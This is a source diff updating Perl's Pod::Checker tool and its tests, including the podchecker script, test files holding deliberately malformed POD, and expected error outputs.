- if ($^O eq 'VMS' or $^O eq 'os2' or $^O eq 'dos'); # "case-forgiving"
-$file .= '.com' if $^O eq 'VMS';
-
-open OUT,">$file" or die "Can't create $file: $!";
-
-print "Extracting $file (with variable substitutions)\n";
-
-# In this section, perl variables will be expanded during extraction.
-# You can use $Config{...} to use Configure variables.
-
-print OUT <<"!GROK!THIS!";
-$Config{'startperl'}
- eval 'exec perl -S \$0 "\$@"'
- if 0;
-!GROK!THIS!
-
-# In the following, perl variables are not expanded during extraction.
-
-print OUT <<'!NO!SUBS!';
-#############################################################################
-# podchecker -- command to invoke the podchecker function in Pod::Checker
-#
-# Copyright (c) 1998-2000 by Bradford Appleton. All rights reserved.
-# This file is part of "PodParser". PodParser is free software;
-# you can redistribute it and/or modify it under the same terms
-# as Perl itself.
-#############################################################################
-
-use strict;
-#use diagnostics;
-
-=head1 NAME
-
-podchecker - check the syntax of POD format documentation files
-
-=head1 SYNOPSIS
-
-B<podchecker> [B<-help>] [B<-man>] [B<-(no)warnings>] [I<file>S< >...]
-
-=head1 OPTIONS AND ARGUMENTS
-
-=over 8
-
-=item B<-help>
-
-Print a brief help message and exit.
-
-=item B<-man>
-
-Print the manual page and exit.
-
-=item B<-warnings> B<-nowarnings>
-
-Turn on/off printing of warnings. Repeating B<-warnings> increases the
-warning level, i.e. more warnings are printed. Currently increasing to
-level two causes flagging of unescaped "E<lt>,E<gt>" characters.
-
-=item I<file>
-
-The pathname of a POD file to syntax-check (defaults to standard input).
-
-=back
-
-=head1 DESCRIPTION
-
-B<podchecker> will read the given input files looking for POD
-syntax errors in the POD documentation and will print any errors
-it find to STDERR. At the end, it will print a status message
-indicating the number of errors found.
-
-Directories are ignored, an appropriate warning message is printed.
-
-B<podchecker> invokes the B<podchecker()> function exported by B<Pod::Checker>
-Please see L<Pod::Checker/podchecker()> for more details.
-
-=head1 RETURN VALUE
-
-B<podchecker> returns a 0 (zero) exit status if all specified
-POD files are ok.
-
-=head1 ERRORS
-
-B<podchecker> returns the exit status 1 if at least one of
-the given POD files has syntax errors.
-
-The status 2 indicates that at least one of the specified
-files does not contain I<any> POD commands.
-
-Status 1 overrides status 2. If you want unambiguous
-results, call B<podchecker> with one single argument only.
-
-=head1 SEE ALSO
-
-L<Pod::Parser> and L<Pod::Checker>
-
-=head1 AUTHORS
-
-Please report bugs using L<http://rt.cpan.org>.
-
-Brad Appleton E<lt>bradapp@enteract.comE<gt>,
-Marek Rouchal E<lt>marekr@cpan.orgE<gt>
-
-Based on code for B<Pod::Text::pod2text(1)> written by
-Tom Christiansen E<lt>tchrist@mox.perl.comE<gt>
-
-=cut
-
-
-use Pod::Checker;
-use Pod::Usage;
-use Getopt::Long;
-
-## Define options
-my %options;
-
-## Parse options
-GetOptions(\%options, qw(help man warnings+ nowarnings)) || pod2usage(2);
-pod2usage(1) if ($options{help});
-pod2usage(-verbose => 2) if ($options{man});
-
-if($options{nowarnings}) {
- $options{warnings} = 0;
-}
-elsif(!defined $options{warnings}) {
- $options{warnings} = 1; # default is warnings on
-}
-
-## Dont default to STDIN if connected to a terminal
-pod2usage(2) if ((@ARGV == 0) && (-t STDIN));
-
-## Invoke podchecker()
-my $status = 0;
-@ARGV = qw(-) unless(@ARGV);
-for my $podfile (@ARGV) {
- if($podfile eq '-') {
- $podfile = '<&STDIN';
- }
- elsif(-d $podfile) {
- warn "podchecker: Warning: Ignoring directory '$podfile'\n";
- next;
- }
- my $errors =
- podchecker($podfile, undef, '-warnings' => $options{warnings});
- if($errors > 0) {
- # errors occurred
- $status = 1;
- printf STDERR ("%s has %d pod syntax %s.\n",
- $podfile, $errors,
- ($errors == 1) ? 'error' : 'errors');
- }
- elsif($errors < 0) {
- # no pod found
- $status = 2 unless($status);
- print STDERR "$podfile does not contain any pod commands.\n";
- }
- else {
- print STDERR "$podfile pod syntax OK.\n";
- }
-}
-exit $status;
-
-!NO!SUBS!
-
-close OUT or die "Can't close $file: $!";
-chmod 0755, $file or die "Can't reset permissions for $file: $!\n";
-exec("$Config{'eunicefix'} $file") if $Config{'eunicefix'} ne ':';
-chdir $origdir;
+#!/usr/local/bin/perl
+
+use Config;
+use File::Basename qw(&basename &dirname);
+use Cwd;
+
+# List explicitly here the variables you want Configure to
+# generate. Metaconfig only looks for shell variables, so you
+# have to mention them as if they were shell variables, not
+# %Config entries. Thus you write
+# $startperl
+# to ensure Configure will look for $Config{startperl}.
+
+# This forces PL files to create target in same directory as PL file.
+# This is so that make depend always knows where to find PL derivatives.
+$origdir = cwd;
+chdir(dirname($0));
+($file = basename($0)) =~ s/\.PL$//;
+$file =~ s/\.pl$//
+ if ($^O eq 'VMS' or $^O eq 'os2' or $^O eq 'dos'); # "case-forgiving"
+$file .= '.com' if $^O eq 'VMS';
+
+open OUT,">$file" or die "Can't create $file: $!";
+
+print "Extracting $file (with variable substitutions)\n";
+
+# In this section, perl variables will be expanded during extraction.
+# You can use $Config{...} to use Configure variables.
+
+print OUT <<"!GROK!THIS!";
+$Config{'startperl'}
+ eval 'exec perl -S \$0 "\$@"'
+ if 0;
+!GROK!THIS!
+
+# In the following, perl variables are not expanded during extraction.
+
+print OUT <<'!NO!SUBS!';
+#############################################################################
+# podchecker -- command to invoke the podchecker function in Pod::Checker
+#
+# Copyright (c) 1998-2000 by Bradford Appleton. All rights reserved.
+# This is free software; you can redistribute it and/or modify it under the
+# same terms as Perl itself.
+#############################################################################
+
+use strict;
+#use diagnostics;
+
+=head1 NAME
+
+podchecker - check the syntax of POD format documentation files
+
+=head1 SYNOPSIS
+
+B<podchecker> [B<-help>] [B<-man>] [B<-(no)warnings>] [I<file>S< >...]
+
+=head1 OPTIONS AND ARGUMENTS
+
+=over 8
+
+=item B<-help>
+
+Print a brief help message and exit.
+
+=item B<-man>
+
+Print the manual page and exit.
+
+=item B<-warnings> B<-nowarnings>
+
+Turn on/off printing of warnings. Repeating B<-warnings> increases the
+warning level, i.e. more warnings are printed. Currently increasing to
+level two causes flagging of unescaped "E<lt>,E<gt>" characters.
+
+=item I<file>
+
+The pathname of a POD file to syntax-check (defaults to standard input).
+
+=back
+
+=head1 DESCRIPTION
+
+B<podchecker> will read the given input files looking for POD
+syntax errors in the POD documentation and will print any errors
+it find to STDERR. At the end, it will print a status message
+indicating the number of errors found.
+
+Directories are ignored, an appropriate warning message is printed.
+
+B<podchecker> invokes the B<podchecker()> function exported by B<Pod::Checker>
+Please see L<Pod::Checker/podchecker()> for more details.
+
+=head1 RETURN VALUE
+
+B<podchecker> returns a 0 (zero) exit status if all specified
+POD files are ok.
+
+=head1 ERRORS
+
+B<podchecker> returns the exit status 1 if at least one of
+the given POD files has syntax errors.
+
+The status 2 indicates that at least one of the specified
+files does not contain I<any> POD commands.
+
+Status 1 overrides status 2. If you want unambiguous
+results, call B<podchecker> with one single argument only.
+
+=head1 SEE ALSO
+
+L<Pod::Simple> and L<Pod::Checker>
+
+=head1 AUTHORS
+
+Please report bugs using L<http://rt.cpan.org>.
+
+Brad Appleton E<lt>bradapp@enteract.comE<gt>,
+Marek Rouchal E<lt>marekr@cpan.orgE<gt>
+
+Based on code for B<Pod::Text::pod2text(1)> written by
+Tom Christiansen E<lt>tchrist@mox.perl.comE<gt>
+
+=cut
+
+
+use Pod::Checker;
+use Pod::Usage;
+use Getopt::Long;
+
+## Define options
+my %options;
+
+## Parse options
+GetOptions(\%options, qw(help man warnings+ nowarnings)) || pod2usage(2);
+pod2usage(1) if ($options{help});
+pod2usage(-verbose => 2) if ($options{man});
+
+if($options{nowarnings}) {
+ $options{warnings} = 0;
+}
+elsif(!defined $options{warnings}) {
+ $options{warnings} = 1; # default is warnings on
+}
+
+## Dont default to STDIN if connected to a terminal
+pod2usage(2) if ((@ARGV == 0) && (-t STDIN));
+
+## Invoke podchecker()
+my $status = 0;
+@ARGV = qw(-) unless(@ARGV);
+for my $podfile (@ARGV) {
+ if($podfile eq '-') {
+ $podfile = '<&STDIN';
+ }
+ elsif(-d $podfile) {
+ warn "podchecker: Warning: Ignoring directory '$podfile'\n";
+ next;
+ }
+ my $errors =
+ podchecker($podfile, undef, '-warnings' => $options{warnings});
+ if($errors > 0) {
+ # errors occurred
+ $status = 1;
+ printf STDERR ("%s has %d pod syntax %s.\n",
+ $podfile, $errors,
+ ($errors == 1) ? 'error' : 'errors');
+ }
+ elsif($errors < 0) {
+ # no pod found
+ $status = 2 unless($status);
+ print STDERR "$podfile does not contain any pod commands.\n";
+ }
+ else {
+ print STDERR "$podfile pod syntax OK.\n";
+ }
+}
+exit $status;
+
+!NO!SUBS!
+
+close OUT or die "Can't close $file: $!";
+chmod 0755, $file or die "Can't reset permissions for $file: $!\n";
+exec("$Config{'eunicefix'} $file") if $Config{'eunicefix'} ne ':';
+chdir $origdir;
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/contains_bad_pod.xr b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/contains_bad_pod.xr
index c7907963d95..ad65663e221 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/contains_bad_pod.xr
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/contains_bad_pod.xr
@@ -1,5 +1,5 @@
-=head foo
-
-bar baz.
-
-=cut
+=head foo
+
+bar baz.
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchkenc.t b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchkenc.t
index e7a5d7a14fd..ccc2421a5ae 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchkenc.t
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchkenc.t
@@ -1,29 +1,29 @@
-#!/usr/bin/perl
-BEGIN {
- use File::Basename;
- my $THISDIR = dirname $0;
- unshift @INC, $THISDIR;
- require "testpchk.pl";
- import TestPodChecker;
-}
-
-# this tests Pod::Checker accepts =encoding directive
-
-my %options = map { $_ => 1 } @ARGV; ## convert cmdline to options-hash
-my $passed = testpodchecker \%options, $0;
-exit( ($passed == 1) ? 0 : -1 ) unless $ENV{HARNESS_ACTIVE};
-
-__END__
-
-=encoding utf8
-
-=encode utf8
-
-dummy error
-
-=head1 An example.
-
-'Twas brillig, and the slithy toves did gyre and gimble in the wabe.
-
-=cut
-
+#!/usr/bin/perl
+BEGIN {
+ use File::Basename;
+ my $THISDIR = dirname $0;
+ unshift @INC, $THISDIR;
+ require "testpchk.pl";
+ import TestPodChecker;
+}
+
+# this tests Pod::Checker accepts =encoding directive
+
+my %options = map { $_ => 1 } @ARGV; ## convert cmdline to options-hash
+my $passed = testpodchecker \%options, $0;
+exit( ($passed == 1) ? 0 : -1 ) unless $ENV{HARNESS_ACTIVE};
+
+__END__
+
+=encoding utf8
+
+=encode utf8
+
+dummy error
+
+=head1 An example.
+
+'Twas brillig, and the slithy toves did gyre and gimble in the wabe.
+
+=cut
+
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchkenc.xr b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchkenc.xr
index 8a21a1272a4..4b942e9256c 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchkenc.xr
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchkenc.xr
@@ -1 +1 @@
-*** ERROR: Unknown command 'encode' at line 20 in file t/pod/podchkenc.t
+*** ERROR: Unknown directive: =encode at line 20 in file t/pod/podchkenc.t
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchklink.t b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchklink.t
new file mode 100644
index 00000000000..ea6dfa73ee4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/podchklink.t
@@ -0,0 +1,275 @@
+#!/usr/bin/perl
+
+# This tests Pod::Checker::Hyperlink
+
+use Test::More;
+use Pod::Checker;
+
+my @answers = (
+ {
+ 'line' => 12,
+ 'node' => 'section',
+ 'page' => 'manpage',
+ 'type' => 'pod'
+ },
+ {
+ 'line' => 14,
+ 'node' => 'section',
+ 'page' => '"manpage"',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 16,
+ 'node' => 'section',
+ 'page' => 'manpage',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 20,
+ 'node' => 'section',
+ 'page' => 'manpage',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 22,
+ 'node' => 'section',
+ 'page' => 'manpage',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 24,
+ 'node' => 'section',
+ 'page' => 'manpage',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 26,
+ 'node' => 'section',
+ 'page' => 'manpage',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 28,
+ 'node' => 'section',
+ 'page' => 'manpage',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 30,
+ 'node' => 'section',
+ 'page' => 'manpage',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 36,
+ 'node' => '',
+ 'page' => 'foo',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 38,
+ 'node' => '',
+ 'page' => 'bar',
+ 'type' => 'pod'
+ },
+ {
+ 'line' => 40,
+ 'node' => 'bar',
+ 'page' => 'foo',
+ 'type' => 'pod'
+ },
+ {
+ 'line' => 42,
+ 'node' => 'baz boo',
+ 'page' => 'foo',
+ 'type' => 'pod'
+ },
+ {
+ 'line' => 50,
+ 'node' => 'baz boo',
+ 'page' => 'foo bar',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 59,
+ 'node' => '',
+ 'page' => 'foobar',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 61,
+ 'node' => 'bar',
+ 'page' => 'foo',
+ 'type' => 'pod'
+ },
+ {
+ 'line' => 63,
+ 'node' => 'Italic text',
+ 'page' => 'foo',
+ 'type' => 'pod'
+ },
+ {
+ 'line' => 65,
+ 'node' => 'Section with other markup',
+ 'page' => 'foo|bar',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 67,
+ 'node' => '',
+ 'page' => 'chmod',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 69,
+ 'node' => '',
+ 'page' => 'chmod(2)',
+ 'type' => 'man',
+ },
+ {
+ 'line' => 71,
+ 'node' => '',
+ 'page' => 'chmod(2)',
+ 'type' => 'man',
+ },
+ {
+ 'line' => 73,
+ 'node' => '',
+ 'page' => 'chmod()',
+ 'type' => 'pod',
+ },
+ {
+ 'line' => 75,
+ 'node' => '',
+ 'page' => 'mailto:foo@cpan.org',
+ 'type' => 'url',
+ },
+ {
+ 'line' => 77,
+ 'node' => '',
+ 'page' => 'mailto:foo@cpan.org',
+ 'type' => 'url',
+ },
+ {
+ 'line' => 79,
+ 'node' => '',
+ 'page' => 'http://www.perl.org',
+ 'type' => 'url',
+ },
+ {
+ 'line' => 81,
+ 'node' => '',
+ 'page' => 'http://www.perl.org',
+ 'type' => 'url',
+ },
+ );
+
+plan 'tests' => @answers * 4 + 2;
+
+my $checker = Pod::Checker->new( '-quiet' => 1);
+$checker->parse_from_file(\*DATA);
+
+is($checker->num_warnings, 0, "There were no warnings found");
+is($checker->num_errors, 0, "There were no errors found");
+
+my @links = $checker->hyperlinks;
+
+for my $i (0 .. @links - 1) {
+ is($links[$i]->line(), $answers[$i]->{'line'}, "line() returns '$answers[$i]->{'line'}' correctly");
+ is($links[$i]->node(), $answers[$i]->{'node'}, "node() returns '$answers[$i]->{'node'}' correctly");
+ is($links[$i]->page(), $answers[$i]->{'page'}, "page() returns '$answers[$i]->{'page'}' correctly");
+ is($links[$i]->type(), $answers[$i]->{'type'}, "type() returns '$answers[$i]->{'type'}' correctly");
+}
+
+__END__
+
+=head1 NAME
+
+basic.pod - Extracted and expanded from podlators; test various link types
+
+=head1 LINKS
+
+These are all taken from the Pod::Parser tests.
+
+Try out I<LOTS> of different ways of specifying references:
+
+Reference the L<manpage/section>
+
+Reference the L<"manpage"/section>
+
+Reference the L<manpage/"section">
+
+Now try it using the new "|" stuff ...
+
+Reference the L<thistext|manpage/section>|
+
+Reference the L<thistext | manpage / section>|
+
+Reference the L<thistext| manpage/ section>|
+
+Reference the L<thistext |manpage /section>|
+
+Reference the L<thistext|manpage/"section">|
+
+Reference the L<thistext|
+manpage/
+section>|
+
+And then throw in a few new ones of my own.
+
+L<foo>
+
+L<foo|bar>
+
+L<foo/bar>
+
+L<foo/"baz boo">
+
+L</bar> won't show up because is a link to this page
+
+L</"baz boo"> won't show up because is a link to this page
+
+L</baz boo> won't show up because is a link to this page
+
+L<foo bar/baz boo>
+
+L<"boo var baz"> won't show up because the quotes make it a link to this page
+
+L<bar baz> won't show up because of blanks (deprecated) make it a link to this
+page
+
+L</boo>, L</bar>, and L</baz> won't show up because are links to this page
+
+L<fooZ<>bar>
+
+L<Testing I<italics>|foo/bar>
+
+L<foo/I<Italic> text>
+
+L<fooE<verbar>barZ<>/Section C<with> I<B<other> markup>>
+
+L<chmod>
+
+L<chmod(2)>
+
+L<man page with text|chmod(2)>
+
+L<chmod()>
+
+L<mailto:foo@cpan.org>
+
+L<Don't email us|mailto:foo@cpan.org>
+
+L<http://www.perl.org>
+
+L<hyperlink|http://www.perl.org>
+
+=head1 bar
+
+=head2 baz boo
+
+=head3 boo var baz
+
+=head4 bar baz
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/poderrs.t b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/poderrs.t
index 362cbb6575e..1c86c741fc1 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/poderrs.t
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/poderrs.t
@@ -1,241 +1,324 @@
-BEGIN {
- use File::Basename;
- my $THISDIR = dirname $0;
- unshift @INC, $THISDIR;
- require "testpchk.pl";
- import TestPodChecker;
-}
-
-my %options = map { $_ => 1 } @ARGV; ## convert cmdline to options-hash
-my $passed = testpodchecker \%options, $0;
-exit( ($passed == 1) ? 0 : -1 ) unless $ENV{HARNESS_ACTIVE};
-
-### Deliberately throw in some blank but non-empty lines
-
-### The above line should contain spaces
-
-
-__END__
-
-=head2 This should cause a warning
-
-=head1 NAME
-
-poderrors.t - test Pod::Checker on some pod syntax errors
-
-=unknown1 this is an unknown command with two N<unknownA>
-and D<unknownB> interior sequences.
-
-This is some paragraph text with some unknown interior sequences,
-such as Q<unknown2>,
-A<unknown3>,
-and Y<unknown4 V<unknown5>>.
-
-Now try some unterminated sequences like
-I<hello mudda!
-B<hello fadda!
-
-Here I am at C<camp granada!
-
-Camps is very,
-entertaining.
-And they say we'll have some fun if it stops raining!
-
-Okay, now use a non-empty blank line to terminate a paragraph and make
-sure we get a warning.
-
-The above blank line contains tabs and spaces only
-
-=head1 Additional tests
-
-=head2 item without over
-
-=item oops
-
-=head2 back without over
-
-=back
-
-=head2 over without back
-
-=over 4
-
-=item aaps
-
-=head2 end without begin
-
-=end
-
-=head2 begin and begin
-
-=begin html
-
-=begin text
-
-=end
-
-=end
-
-second one results in end w/o begin
-
-=head2 begin w/o formatter
-
-=begin
-
-=end
-
-=head2 for w/o formatter
-
-=for
-
-something...
-
-=head2 Nested sequences of the same type
-
-C<code I<italic C<code again!>>>
-
-=head2 Garbled entities
-
-E<alea iacta est>
-E<C<auml>>
-E<abcI<bla>>
-E<0x100>
-E<07777>
-E<300>
-
-=head2 Unresolved internal links
-
-L</"begin or begin">
-L<"end with begin">
-L</OoPs>
-
-=head2 Some links with problems
-
-L<abc
-def>
-L<>
-L< aha>
-L<oho >
-L<"Warnings"> this one is ok
-L</unescaped> ok too, this POD has an X of the same name
-L<http://www.perl.org> this is OK
-L<The Perl Home Page|http://www.perl.org> this is also OK
-
-=head2 Warnings
-
-L<passwd(5)>
-L<some text with / in it|perlvar/$|> should give warnings as hell
-
-=over 4
-
-=item bla
-
-=back 200
-
-the 200 is evil
-
-=begin html
-
-What?
-
-=end xml
-
-X<unescaped>see these unescaped < and > in the text?
-
-=head2 Misc
-
-Z<ddd> should be empty
-
-X<> should not be empty
-
-=over four
-
-This paragrapgh is misplaced - it ought to be an item.
-
-=item four should be numeric!
-
-=item
-
-=item blah
-
-=item previous is all empty!!!
-
-=back
-
-All empty over/back:
-
-=over 4
-
-=back
-
-item w/o name
-
-=cut
-
-=pod bla
-
-bla is evil
-
-=cut blub
-
-blub is evil
-
-=head2 reoccurence
-
-=over 4
-
-=item Misc
-
-we already have a head Misc
-
-=back
-
-=head2 some heading
-
-=head2 another one
-
-=head2 the next line should be empty
-=head2 ... but there is a command instead
-
-And here is some text
-=head2 again followed by a command
-
- verbatim
-=item line missing
-
-previous section is empty!
-
-=head1 LINK TESTS
-
-Due to bug reported by Rafael Garcia-Suarez "rgarciasuarez@free.fr":
-
-The following hyperlinks :
-L<"I/O Operators">
-L<perlop/"I/O Operators">
-trigger a podchecker warning (using bleadperl) :
- node 'I/O Operators' contains non-escaped | or /
-
-=cut
-
-=pod
-
-=head1 ON-OFF tests
-
-The above =pod is OK. The following =cut is ok, the one after not.
-
-=cut
-
-# some comment or code here, not POD
-
-=cut
-
-# more code
-
-=head2 This opens POD
-
-=pod
-
-And the =pod above is too much.
-
-=cut
-
+BEGIN {
+ use File::Basename;
+ my $THISDIR = dirname $0;
+ unshift @INC, $THISDIR;
+ require "testpchk.pl";
+ import TestPodChecker;
+}
+
+my %options = map { $_ => 1 } @ARGV; ## convert cmdline to options-hash
+my $passed = testpodchecker \%options, $0;
+exit( ($passed == 1) ? 0 : -1 ) unless $ENV{HARNESS_ACTIVE};
+
+### Deliberately throw in some blank but non-empty lines
+
+### The above line should contain spaces
+
+#line 18
+__END__
+
+=head2 This should cause a warning
+
+=head1 NAME
+
+poderrors.t - test Pod::Checker on some pod syntax errors
+
+ GASP! A verbatim paragraph in NAME
+
+=unknown1 this is an unknown command with two N<unknownA>
+and D<unknownB> interior sequences.
+
+This is some paragraph text with some unknown interior sequences,
+such as Q<unknown2>,
+A<unknown3>,
+and Y<unknown4 V<unknown5>>.
+
+Now try some unterminated sequences like
+I<hello mudda!
+B<hello fadda!
+
+Here I am at C<camp granada!
+
+Camps is very,
+entertaining.
+And they say we'll have some fun if it stops raining!
+
+Okay, now use a non-empty blank line to terminate a paragraph and make
+sure we get a warning.
+
+The above blank line contains tabs and spaces only
+
+F<Many B<fcodes B<inside C<other I<fcodes F<inside I<many S<many C<more X<fcodes. S<This is X<ridiculous.>>>>>>>>>>>>
+
+A L<link|perlvar/$/> to L<perlvar/$E<sol>>
+
+=head1 Additional tests
+
+=head2 item without over
+
+=item oops
+
+=head2 back without over
+
+=back
+
+=head2 over without back
+
+=over 4
+
+=item aaps
+
+=head2 end without begin
+
+=end
+
+=end something
+
+=head2 begin and begin
+
+=begin html
+
+=begin text
+
+=end text
+
+=end html
+
+=head2 begin w/o formatter
+
+=begin
+
+=end
+
+=head2 for w/o formatter
+
+=for
+
+something...
+
+=head2 Nested sequences of the same type
+
+C<code I<italic C<code again!>>>
+
+=head2 Garbled entities
+
+E<alea iacta est>
+E<C<auml>>
+E<abcI<bla>>
+E<0x100>
+E<07777>
+E<300>
+E<unknown_entity>
+
+=head2 Unresolved internal links
+
+L</"begin or begin">
+L<"end with begin">
+L</OoPs>
+
+=head2 Some links with problems
+
+L<abc
+def>
+L<>
+L< aha>
+L<oho >
+L< weehee >
+L<"Warnings"> this one is ok
+L</unescaped> ok too, this POD has an X of the same name
+
+L<< lead >>
+L<< trail >>
+L<< neither >>
+L<<< both >>>
+
+L<<<<>>>>
+
+L<<<< >>>>
+
+L<<<< >>>>
+
+=head2 Warnings
+
+L<passwd(5)>
+L<some text with / in it|perlvar/$|> should give warnings as hell
+
+=over 4
+
+=item bla
+
+=back 200
+
+the 200 is evil
+
+X<unescaped>see these unescaped < and > in the text?
+
+=head2 Misc
+
+Z<ddd> should be empty
+
+X<> should not be empty
+
+X<0> should not generate a warning about being empty
+
+E<> should not be empty
+
+=over four
+
+This paragrapgh is misplaced - it ought to be an item.
+
+=item four should be numeric!
+
+=back
+
+=over 4
+
+=item
+
+=item blah
+
+=item previous is all empty!!!
+
+=back
+
+=over
+
+ This verbatim paragraph should not be here. Spaces are on the line below this
+
+=item *
+
+bullet
+
+=item 1
+
+number, uh oh
+
+=back
+
+=over
+
+=item *
+
+first bullet
+
+=item 1
+
+then number
+
+=item finally definition
+
+=back
+
+=over
+
+=item 1
+
+first number
+
+=item 3
+
+bad numbering
+
+=item then definition
+
+=item *
+
+finally bullet
+
+=back
+
+=over
+
+=item first defintion
+
+=item *
+
+then bullet
+
+=item 1
+
+finally number
+
+=item second definition
+
+ This should not generate an empty =item warning,
+ because it has verbatim text.
+
+=back
+
+Empty over/back:
+
+=over 4
+
+=over 2
+
+=back
+
+=back
+
+item w/o name
+
+=cut
+
+=pod bla
+
+bla is evil
+
+=cut blub
+
+blub is evil
+
+=head2 reoccurence
+
+=over 4
+
+=item Misc
+
+we already have a head Misc
+
+=back
+
+=head2 some heading
+
+=head2 another one
+
+previous section is empty!
+
+=head1 LINK TESTS
+
+
+
+
+
+
+
+
+
+
+L<perlop/"I/O Operators">
+don't trigger a warning because node is quoted
+
+L<"I/O Operators">
+incorrectly interpreted as 'O Operators in I', but this is deprecated syntax, as per perlpodspec.
+no warning due to quotes
+
+=head1
+
+Empty head above and unclosed over/begins below
+
+=head3 test X<stuff> I<test>
+
+=over
+
+=begin html
+
+What?
+
+=begin :xml
+
+L<This pod's NAME in a link means it is internal|poderrors.t/link_to_nowhere>,
+so should generate a warning
+
+=cut
+
+
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/poderrs.xr b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/poderrs.xr
index c1a80c64787..fe7e015ff78 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/poderrs.xr
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/poderrs.xr
@@ -1,53 +1,78 @@
-*** WARNING: =head2 without preceding higher level at line 20 in file t/pod/poderrs.t
-*** WARNING: empty section in previous paragraph at line 22 in file t/pod/poderrs.t
-*** ERROR: Unknown command 'unknown1' at line 26 in file t/pod/poderrs.t
-*** ERROR: Unknown interior-sequence 'Q' at line 30 in file t/pod/poderrs.t
-*** ERROR: Unknown interior-sequence 'A' at line 31 in file t/pod/poderrs.t
-*** ERROR: Unknown interior-sequence 'Y' at line 32 in file t/pod/poderrs.t
-*** ERROR: Unknown interior-sequence 'V' at line 32 in file t/pod/poderrs.t
-*** ERROR: unterminated B<...> at line 36 in file t/pod/poderrs.t
-*** ERROR: unterminated I<...> at line 35 in file t/pod/poderrs.t
-*** ERROR: unterminated C<...> at line 38 in file t/pod/poderrs.t
-*** WARNING: line containing nothing but whitespace in paragraph at line 46 in file t/pod/poderrs.t
-*** ERROR: =item without previous =over at line 53 in file t/pod/poderrs.t
-*** ERROR: =back without previous =over at line 57 in file t/pod/poderrs.t
-*** ERROR: =over on line 61 without closing =back (at head2) at line 65 in file t/pod/poderrs.t
-*** ERROR: =end without =begin at line 67 in file t/pod/poderrs.t
-*** ERROR: Nested =begin's (first at line 71:html) at line 73 in file t/pod/poderrs.t
-*** ERROR: =end without =begin at line 77 in file t/pod/poderrs.t
-*** ERROR: No argument for =begin at line 83 in file t/pod/poderrs.t
-*** ERROR: =for without formatter specification at line 89 in file t/pod/poderrs.t
-*** WARNING: nested commands C<...C<...>...> at line 95 in file t/pod/poderrs.t
-*** ERROR: garbled entity E<alea iacta est> at line 99 in file t/pod/poderrs.t
-*** ERROR: garbled entity E<C<auml>> at line 100 in file t/pod/poderrs.t
-*** ERROR: garbled entity E<abcI<bla>> at line 101 in file t/pod/poderrs.t
-*** ERROR: Entity number out of range E<0x100> at line 102 in file t/pod/poderrs.t
-*** ERROR: Entity number out of range E<07777> at line 103 in file t/pod/poderrs.t
-*** ERROR: Entity number out of range E<300> at line 104 in file t/pod/poderrs.t
-*** ERROR: malformed link L<> : empty link at line 116 in file t/pod/poderrs.t
-*** WARNING: ignoring leading whitespace in link at line 117 in file t/pod/poderrs.t
-*** WARNING: ignoring trailing whitespace in link at line 118 in file t/pod/poderrs.t
-*** WARNING: (section) in 'passwd(5)' deprecated at line 126 in file t/pod/poderrs.t
-*** WARNING: node '$|' contains non-escaped | or / at line 127 in file t/pod/poderrs.t
-*** WARNING: alternative text '$|' contains non-escaped | or / at line 127 in file t/pod/poderrs.t
-*** ERROR: Spurious character(s) after =back at line 133 in file t/pod/poderrs.t
-*** ERROR: Nonempty Z<> at line 147 in file t/pod/poderrs.t
-*** ERROR: Empty X<> at line 149 in file t/pod/poderrs.t
-*** WARNING: preceding non-item paragraph(s) at line 155 in file t/pod/poderrs.t
-*** WARNING: No argument for =item at line 157 in file t/pod/poderrs.t
-*** WARNING: previous =item has no contents at line 159 in file t/pod/poderrs.t
-*** WARNING: No items in =over (at line 167) / =back list at line 169 in file t/pod/poderrs.t
-*** ERROR: Spurious text after =pod at line 175 in file t/pod/poderrs.t
-*** ERROR: Spurious text after =cut at line 179 in file t/pod/poderrs.t
-*** WARNING: empty section in previous paragraph at line 195 in file t/pod/poderrs.t
-*** ERROR: Apparent command =head2 not preceded by blank line at line 198 in file t/pod/poderrs.t
-*** WARNING: empty section in previous paragraph at line 197 in file t/pod/poderrs.t
-*** ERROR: Apparent command =head2 not preceded by blank line at line 201 in file t/pod/poderrs.t
-*** ERROR: Apparent command =item not preceded by blank line at line 204 in file t/pod/poderrs.t
-*** ERROR: Spurious =cut command at line 230 in file t/pod/poderrs.t
-*** ERROR: Spurious =pod command at line 236 in file t/pod/poderrs.t
